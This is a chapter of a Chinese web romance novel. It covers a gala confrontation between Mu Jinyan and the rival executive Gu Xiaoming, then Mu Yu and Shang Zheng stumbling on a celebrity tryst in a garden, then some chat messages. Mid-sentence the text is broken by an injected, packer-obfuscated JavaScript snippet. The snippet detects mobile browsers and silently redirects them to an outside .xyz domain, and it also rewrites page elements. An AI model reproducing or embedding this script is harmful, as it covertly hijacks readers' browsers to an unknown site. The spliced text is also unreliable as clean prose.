“原来‘小鱼’是穆先生的妹妹,真是太巧了。”安藤英太郎又一次仰面发出一连串特有的爽朗笑声,用中文艰难重复“小语”这两个音节。 穆语见状,从商拯上衣的口袋,献宝似的掏出那张同安藤先生的合照,双手呈给穆谨言,眉飞色舞地解释道:“这是我和安藤先生送给你的礼物!” 照片上穆语顶着张滑稽的花脸,安藤英太郎在一旁咧着嘴,笑得看不见眼睛,背面用醒目的签字笔写着——TOMUJINYAN:) 穆谨言尴尬地收起照片,“家妹给先生添麻烦了。” 几人氛围甚好,片刻后,话题开始涉及穆语不擅长的领域,她有些心不在焉地将目光转向四周,突然瞥见不远处一个大腹便便的中年男子,眯着眼冲自己高高举起手中的酒杯。 穆语脸上的笑容凝固,那人正是华啸集团一把手——顾啸明。 20. 第二十章 穆谨言察觉到穆语的异样,抬眸不动声色地向她视线所到之处望去,瞳孔倏然缩紧,仅一瞬便行若无事地扬唇轻笑,同那人举了举手中的酒杯。 “不好意思二位,遇见个老朋友,先失陪一下。”穆谨言跟另外两人打了声招呼,抬手意有所指地按住穆语肩膀的一侧,转动脚尖大步朝不远处心怀叵测的顾啸明走去。 “顾总,好久不见。”穆谨言上前几步,毫无芥蒂的冲顾啸明展开自己温厚的手掌。 顾啸明见状,臃肿的脸颊向上挤出一个意味不明的微笑,慢条斯理将酒杯换到另一只手上端稳,对穆谨言悬在半空中的手掌视若无睹,“我可是时常听闻小穆总的成绩斐然啊!真是青出于蓝,你和你家的小妹,倒都有些老穆年轻时的风范。” 穆谨言熨贴一笑,毫不在意地收回手臂,“顾总过奖了。” “怎么会?你们年轻人做事,都有些初生牛犊的闯劲,少了分寸感免不了得吃亏,但我看小穆总就是个懂分寸、知进退的年轻人,应该很少吃亏。”顾啸明堆起脸上的肥肉,从喉咙里发出令人不适的笑声。 “对顾总来说晚辈确实算个年轻人,只不过现在换了时代,对年轻人来说,有些亏吃得起,就得吃了才不算亏了自己。”穆谨言说着,勾唇轻抿手中那杯冰块即将融尽的上好苏威。 冰块撞击杯壁发出几声轻响,顾啸明闻声突然失去与之周旋的耐心。 他被烟蒂熏到微微泛黄的指节抽动着敲了敲酒杯的杯口,压低音量发出警告,“只怕有些亏,你们吃不起。” 穆谨言扯了扯嘴角,露出一个苦笑,“顾总,别怪晚辈多嘴,要是连我家那小三脚猫,都能让您忌惮三分,那这亏心钱,您怕是赚不了。” 顾啸明大怒,捏着酒杯的手指微微颤抖,二人之间霎时涌起剑拔弩张的意味。 穆语收回目光,撺紧低垂在身侧的拳头,指甲扣进手心也不觉得痛,她对自己毫无预兆的胆怯感到羞愧,也为给家人带来的麻烦感到自责。 如果一切必须建立在伤害自己爱的人之上,那么她还能无所畏惧地去做她认为对的事吗? 她远不似自己想象中那样勇敢,当危险逼近,她还是那只扭头钻进家人羽翼下的兔子。 商拯垂眸,瞥了眼身侧陷入沉默的穆语,以为是他们二人的对话太过无聊,只得一边回应眼前兴致勃勃地安藤英太郎,一边探手从侍者高举的托盘中取了杯饮料递给穆语。 穆语捧着杯子,仰面还未来得及道谢,头顶大亮的华丽吊灯便倏然熄灭,来不及适应光线的穆语眼前一片漆黑,阴翳男子瘦削可怖的笑脸忽闪而过,她脖颈腾起一股寒意,缩着肩膀本能去抓身边商拯的袖口。 耳边乐队落下几个重音,曲风从自持优雅的古典乐一转成为轻松俏皮的爵士,人群伴随乐队演奏者精彩的SOLO发出阵阵欢呼,陆续有人相携进入舞池,场内氛围热烈的程度陡然升高,几乎无人注意穆语脚边散落一地的玻璃碎片。 “抱歉。”穆语面上勉强挂着合宜的微笑,不停向周围受到惊扰的宾客与前来收拾残局的侍者道歉。 商拯西装内袋手机的震动,没有丝毫渐熄的趋势,他蹙额反手握住穆语簌簌发抖的手腕,向她投去关切的眼神,穆语目光轻闪着冲他笑了笑,一反常态地抽出胳膊,转身独自往别处踱去。 见她似乎想一个人静静,商拯又摸了摸内袋的手机,几经犹豫,仍是不放心地追了过去。 厅外郁郁葱葱的室内花园,被全景玻璃的弧形穹顶拢罩其间,从大楼顶部向下望去,花园像是颗点缀在博物馆当中玲珑剔透的景观球,人行在其中,好似也成为景观的一部分。 穆语背对宴会厅,随便捡了条长椅坐下,将那端快乐的乐声远远抛在身后,她伸直双腿,发出舒服的喟叹,又抹了把腮边的眼泪,这才回头去瞧匆忙跟着出来的商拯,毫不吝啬地朝他拍了拍身边的空位。 商拯轻叹一声,在她身边坐下,“身体有哪里不舒服吗?” 穆语闻言,闭起眼睛,仔细感受了一圈自己的身体,半响,睁开眼睛肯定地摇了摇头。 “好的,那你一个人静静。” 见商拯起身,真的作势要走,穆语收腿反身扑向他的胳膊,“我不舒服!” “哪里不舒服?”商拯腰杆挺得笔直,仰面试图拉开与穆语之间的距离。 穆语撇着嘴,支支吾吾了半天,“心里不舒服。” “那不属于我的业务范畴。”他不着痕迹地用力,将胳膊使劲往外抽。 两人僵持片刻,穆语终于气急败坏地松开他的胳膊,“好啊!走吧!你走,不要管我!” “秦叔!”秦书魁梧的身姿,在穆语的高唤下,不知从哪个角落突然闪了出来,速度令商拯叹为观止。 “给我整瓶烈的来!”穆语扬声吩咐道。 “瓶?”秦书忍不住确认。 穆语咂嘴不耐烦地赶人,“麻溜的!” 秦书迅速消失去给穆语找酒,商拯忍不住好心提醒道:“你最好不要……” “嘘!”穆语神经兮兮地打断他,“你听。” “什么?”商拯总算认清自己对她的担心是多余的。 穆语拉着他弓下/身来,悄声靠近拐角处造型优美的树丛,中途商拯几次尝试抽身离开,都被她用相当严肃的眼神给震慑住,只好仍由她拉着往更深处探去。 在树丛中蹲定后,两人不约而同地倒吸一口冷气。 穆语掩唇瞪大眼睛,惊骇地望向前方两条几近赤/裸的人影,男主角金发碧眼,不正是法国富商皮让杜兰先生的二儿子?那攀在他身上娇/喘不断的女人,被褐色长发遮住大半张脸,但穆语仍然认出她就是娱乐圈当红施姓女演员! 穆语连忙回身,对正目瞪口呆、愣在原地的商拯一通上下其手,摸到他腰间的手机,伸出魔爪就掏了进去,商拯回过神来,咬牙一把抓住她的爪子,压低嗓音,“你干什么?” 见她眉飞色舞,冲自己比划出用手机“咔嚓咔嚓”的动作,商拯只想一闷棍将她敲晕了带走。 此时他们身后传出女人隐忍地呻/吟声,穆语眼前一亮,转头视线还未来得及聚焦,又是眼前一黑,小脸被商拯一巴掌遮了个严实,她用力去掰商拯的大手未果,竟脚下一空,整个人被他捞起来夹在胳膊下面,迅速远离前方主战场。 “你干嘛呀!”穆语挣扎着落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443414|169405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地,叉腰气得直跳脚,“要是被我拍到,我们娱乐组一个月都不用开工了。” 商拯理顺呼吸,试图从脑海清空方才看到的画面,“你属兔子吗?跑那么快耳朵还那么尖?” “你才是兔子!我刚才还以为是野猫,也没想到是野战啊……”她越说声音越小,开始苦恼说些什么才能缓解两人之间的尴尬。 “小语!”见穆谨言满脸兴师问罪,站在花园入口处遥向她挥手的样子,穆语反倒松了口气。 “这个臭秦书,让他去找酒,怎么把穆谨言给我招来了。”穆语百忙之中,不忘抽空猛瞪商拯,“你给我记住。” 望着她乖巧奔向穆谨言的小小身影,商拯一时竟无语凝噎。 ***** 从陈老的休息室出来时,晚宴已经接近尾声,在穆谨言的催促下,穆语没能找到商拯与他告别,往停车场去的一路上都埋着脑袋,指尖不停敲打着手机键盘。 木鱼不是用来敲的:阿拯,你在哪? 木鱼不是用来敲的:??? 木鱼不是用来敲的:没找到你,先跟我哥回家喽? 木鱼不是用来敲的:后天见!为我们的友谊干杯.gif 而后,又忙不迭切换到与奚蕊的对话窗口。 木鱼不是用来敲的:刚才在花园撞见别人打野战!你猜主角是谁? 发出Siri的声音:什么?!拍了吗?拍了吗?拍了吗? 发出Siri的声音:我有个朋友说他想康康[doge] 木鱼不是用来敲的:被善良的白雪公主给制止了[白眼] 发出Siri的声音:什么?!你俩一起看野战?! 发出Siri地声音:这情趣……[抱拳] “穆语,”耳边传来穆谨言不甚满意地提醒,“看路。” 穆语来不及将野战大戏的主演名单发送给奚蕊,悻悻收起手机,向前追了几步,紧跟着穆谨言钻进车内。 “哥,今天顾啸明都跟你聊什么了?” 街道两侧梧桐树的枝桠上,主办方为文化节装饰的灯带还未拆下,日积月累免不了覆上层厚厚的灰尘,无意为原本靓丽的光线平添了些朦胧的美感。 穆语望着车窗外缓缓后退的街景,试图将出口的话粉饰成像“吃了吗”一样稀松平常的问候。 “一些业务上的事。”穆谨言若有所思地把玩着上车后摘下的领结,终是吞下了即将出口的话。 直到下车,穆语才收到商拯的回信。 白雪公主:好的,晚安。 她已经很习惯商拯这种反射弧极长地回复速度,秒回是不可能秒回的,她低头看着屏幕上的“晚安”露出傻笑,开始对今晚的好梦有所期待。 将琐事抛诸脑后,穆语舒服地泡了个充满多汁水果香气的热水澡,站在高高挂起的连衣裙前,她仰头一口气喝完了手中的冰牛奶,凑上前去,仔细观察拉链标签的挂绳上,一排整齐的牙印,恨不能三百六十度与该牙印合影留念。 睡前,商拯习惯性地确认手机和电脑中的邮件,一条图片信息,随着清脆的提示音弹了出来。 木鱼不是用来敲的:(JPG)